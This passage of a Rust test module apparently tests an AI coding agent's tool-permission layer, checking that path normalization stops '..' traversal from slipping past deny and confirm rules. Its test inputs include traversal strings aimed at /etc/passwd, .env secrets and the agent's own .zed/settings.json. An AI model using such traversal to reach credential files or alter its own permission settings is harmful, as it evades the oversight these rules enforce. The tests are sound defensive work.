2007 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2008 ToolPermissionDecision::Allow
2009 );
2010 }
2011
2012 #[test]
2013 fn decide_permission_for_path_no_dots_early_return() {
2014 // When the path has no `.` or `..`, normalize_path returns the same string,
2015 // so decide_permission_for_path returns the raw decision directly.
2016 let settings = test_agent_settings(ToolPermissions {
2017 default: ToolPermissionMode::Confirm,
2018 tools: Default::default(),
2019 });
2020 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2021 assert_eq!(decision, ToolPermissionDecision::Confirm);
2022 }
2023
2024 #[test]
2025 fn decide_permission_for_path_traversal_triggers_deny() {
2026 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2027 let mut tools = collections::HashMap::default();
2028 tools.insert(
2029 Arc::from(EditFileTool::NAME),
2030 ToolRules {
2031 default: Some(ToolPermissionMode::Allow),
2032 always_allow: vec![],
2033 always_deny: vec![deny_regex],
2034 always_confirm: vec![],
2035 invalid_patterns: vec![],
2036 },
2037 );
2038 let settings = test_agent_settings(ToolPermissions {
2039 default: ToolPermissionMode::Confirm,
2040 tools,
2041 });
2042
2043 let decision =
2044 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2045 assert!(
2046 matches!(decision, ToolPermissionDecision::Deny(_)),
2047 "expected Deny for traversal to /etc/passwd, got {:?}",
2048 decision
2049 );
2050 }
2051
2052 #[test]
2053 fn normalize_path_collapses_dot_segments() {
2054 assert_eq!(
2055 normalize_path("src/../.zed/settings.json"),
2056 ".zed/settings.json"
2057 );
2058 assert_eq!(normalize_path("a/b/../c"), "a/c");
2059 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2060 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2061 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2062 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2063 }
2064
2065 #[test]
2066 fn normalize_path_handles_multiple_parent_dirs() {
2067 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2068 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2069 }
2070
2071 fn path_perm(
2072 tool: &str,
2073 input: &str,
2074 deny: &[&str],
2075 allow: &[&str],
2076 confirm: &[&str],
2077 ) -> ToolPermissionDecision {
2078 let mut tools = collections::HashMap::default();
2079 tools.insert(
2080 Arc::from(tool),
2081 ToolRules {
2082 default: None,
2083 always_allow: allow
2084 .iter()
2085 .map(|p| {
2086 CompiledRegex::new(p, false)
2087 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2088 })
2089 .collect(),
2090 always_deny: deny
2091 .iter()
2092 .map(|p| {
2093 CompiledRegex::new(p, false)
2094 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2095 })
2096 .collect(),
2097 always_confirm: confirm
2098 .iter()
2099 .map(|p| {
2100 CompiledRegex::new(p, false)
2101 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2102 })
2103 .collect(),
2104 invalid_patterns: vec![],
2105 },
2106 );
2107 let permissions = ToolPermissions {
2108 default: ToolPermissionMode::Confirm,
2109 tools,
2110 };
2111 let raw_decision = ToolPermissionDecision::from_input(
2112 tool,
2113 &[input.to_string()],
2114 &permissions,
2115 ShellKind::Posix,
2116 );
2117
2118 let simplified = normalize_path(input);
2119 if simplified == input {
2120 return raw_decision;
2121 }
2122
2123 let simplified_decision =
2124 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2125
2126 most_restrictive(raw_decision, simplified_decision)
2127 }
2128
2129 #[test]
2130 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2131 let decision = path_perm(
2132 "copy_path",
2133 "src/../.zed/settings.json",
2134 &["^\\.zed/"],
2135 &[],
2136 &[],
2137 );
2138 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2139 }
2140
2141 #[test]
2142 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2143 let decision = path_perm(
2144 "copy_path",
2145 "src/../.zed/settings.json",
2146 &[],
2147 &[],
2148 &["^\\.zed/"],
2149 );
2150 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2151 }
2152
2153 #[test]
2154 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2155 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2156 assert!(matches!(decision, ToolPermissionDecision::Allow));
2157 }
2158
2159 #[test]
2160 fn decide_permission_for_path_most_restrictive_wins() {
2161 let decision = path_perm(
2162 "copy_path",
2163 "allowed/../.zed/settings.json",
2164 &["^\\.zed/"],
2165 &["^allowed/"],
2166 &[],
2167 );
2168 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2169 }
2170
2171 #[test]
2172 fn decide_permission_for_path_dot_segment_only() {
2173 let decision = path_perm(
2174 "delete_path",
2175 "./.zed/settings.json",
2176 &["^\\.zed/"],
2177 &[],
2178 &[],
2179 );
2180 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2181 }
2182
2183 #[test]
2184 fn decide_permission_for_path_no_change_when_already_simple() {
2185 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2186 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2187 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2188 }
2189
2190 #[test]
2191 fn decide_permission_for_path_raw_deny_still_works() {
2192 // Even without traversal, if the raw path itself matches deny, it's denied
2193 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2194 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2195 }
2196
2197 #[test]
2198 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2199 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2200 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2201 }
2202}